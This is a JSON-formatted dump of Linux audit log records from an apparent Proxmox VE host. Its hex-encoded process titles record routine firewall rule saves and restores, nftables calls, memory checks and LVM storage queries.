{"@timestamp":1781965360392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965360.392:65277): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PATH msg=audit(1781966135.526:68588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965360392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965360.392:65276): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PATH msg=audit(1781966135.526:68588): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.729:65274): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PATH msg=audit(1781966135.526:68587): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.729:65273): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135526,"@rawstring":"node=pve type=PATH msg=audit(1781966135.526:68586): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.729:65272): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135522,"@rawstring":"node=pve type=PATH msg=audit(1781966135.522:68585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.720:65271): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135522,"@rawstring":"node=pve type=PATH msg=audit(1781966135.522:68585): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.720:65270): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135515,"@rawstring":"node=pve type=PATH msg=audit(1781966135.515:68584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965357720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965357.720:65269): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966135515,"@rawstring":"node=pve type=PATH msg=audit(1781966135.515:68584): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.572:65268): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PATH msg=audit(1781966135.517:68583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.567:65267): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PATH msg=audit(1781966135.517:68583): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.566:65266): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PATH msg=audit(1781966135.517:68582): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.566:65265): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135517,"@rawstring":"node=pve type=PATH msg=audit(1781966135.517:68581): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.561:65264): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135511,"@rawstring":"node=pve type=PATH msg=audit(1781966135.511:68580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.539:65263): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135511,"@rawstring":"node=pve type=PATH msg=audit(1781966135.511:68580): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.520:65262): proctitle=\"iptables-save\""} {"@timestamp":1781966135508,"@rawstring":"node=pve type=PATH msg=audit(1781966135.508:68579): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.515:65261): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135508,"@rawstring":"node=pve type=PATH msg=audit(1781966135.508:68579): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355507,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.507:65260): proctitle=\"iptables-save\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=PATH msg=audit(1781966135.507:68578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.501:65259): proctitle=\"ebtables-restore\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=PATH msg=audit(1781966135.507:68578): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.500:65258): proctitle=\"ebtables-restore\""} {"@timestamp":1781966135507,"@rawstring":"node=pve type=PATH msg=audit(1781966135.507:68577): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.495:65257): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966135503,"@rawstring":"node=pve type=PATH msg=audit(1781966135.503:68576): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.487:65256): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966135503,"@rawstring":"node=pve type=PATH msg=audit(1781966135.503:68576): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.482:65255): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966135503,"@rawstring":"node=pve type=PATH msg=audit(1781966135.503:68576): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.477:65254): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966135496,"@rawstring":"node=pve type=PATH msg=audit(1781966135.496:68575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.472:65253): proctitle=697073657400726573746F7265"} {"@timestamp":1781966135496,"@rawstring":"node=pve type=PATH msg=audit(1781966135.496:68575): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.464:65252): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135488,"@rawstring":"node=pve type=PATH msg=audit(1781966135.488:68574): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.456:65251): proctitle=\"iptables-save\""} {"@timestamp":1781966135488,"@rawstring":"node=pve type=PATH msg=audit(1781966135.488:68574): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.453:65250): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966135481,"@rawstring":"node=pve type=PATH msg=audit(1781966135.481:68573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.450:65249): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966135481,"@rawstring":"node=pve type=PATH msg=audit(1781966135.481:68573): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.450:65248): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135473,"@rawstring":"node=pve type=PATH msg=audit(1781966135.473:68572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.450:65247): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135473,"@rawstring":"node=pve type=PATH msg=audit(1781966135.473:68572): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.444:65246): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966135463,"@rawstring":"node=pve type=PATH msg=audit(1781966135.463:68571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.438:65245): proctitle=\"ip6tables-save\""} {"@timestamp":1781966135463,"@rawstring":"node=pve type=PATH msg=audit(1781966135.463:68571): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.430:65244): proctitle=\"iptables-save\""} {"@timestamp":1781966134321,"@rawstring":"node=pve type=PATH msg=audit(1781966134.321:68570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.424:65243): proctitle=69707365740073617665"} {"@timestamp":1781966134321,"@rawstring":"node=pve type=PATH msg=audit(1781966134.321:68570): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.417:65242): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966134277,"@rawstring":"node=pve type=PATH msg=audit(1781966134.277:68569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965355.409:65241): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966134277,"@rawstring":"node=pve type=PATH msg=audit(1781966134.277:68569): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965354.410:65240): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PATH msg=audit(1781966130.511:68568): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965354.381:65239): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PATH msg=audit(1781966130.511:68568): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.711:65238): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PATH msg=audit(1781966130.511:68567): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.711:65237): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130511,"@rawstring":"node=pve type=PATH msg=audit(1781966130.511:68566): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.711:65236): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PATH msg=audit(1781966130.504:68565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.702:65235): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PATH msg=audit(1781966130.504:68565): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.702:65234): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PATH msg=audit(1781966130.504:68564): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965352.702:65233): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966130504,"@rawstring":"node=pve type=PATH msg=audit(1781966130.504:68563): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.691:65231): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PATH msg=audit(1781966125.494:68562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.691:65230): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PATH msg=audit(1781966125.494:68562): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.691:65229): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PATH msg=audit(1781966125.494:68561): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.683:65228): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125494,"@rawstring":"node=pve type=PATH msg=audit(1781966125.494:68560): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.683:65227): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PATH msg=audit(1781966125.486:68559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965347.683:65226): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PATH msg=audit(1781966125.486:68559): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.399:65225): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PATH msg=audit(1781966125.486:68558): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.394:65224): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966125486,"@rawstring":"node=pve type=PATH msg=audit(1781966125.486:68557): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.393:65223): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125449,"@rawstring":"node=pve type=PATH msg=audit(1781966125.449:68556): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.393:65222): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125449,"@rawstring":"node=pve type=PATH msg=audit(1781966125.449:68556): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.389:65221): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966125445,"@rawstring":"node=pve type=PATH msg=audit(1781966125.445:68555): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.381:65220): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125445,"@rawstring":"node=pve type=PATH msg=audit(1781966125.445:68555): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.375:65219): proctitle=\"iptables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=PATH msg=audit(1781966125.444:68554): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.362:65218): proctitle=\"ip6tables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=PATH msg=audit(1781966125.444:68554): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.356:65217): proctitle=\"iptables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=PATH msg=audit(1781966125.444:68553): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.353:65216): proctitle=\"ebtables-restore\""} {"@timestamp":1781966125440,"@rawstring":"node=pve type=PATH msg=audit(1781966125.440:68552): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965345.351:65215): proctitle=\"ebtables-restore\""} {"@timestamp":1781966125440,"@rawstring":"node=pve type=PATH msg=audit(1781966125.440:68552): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 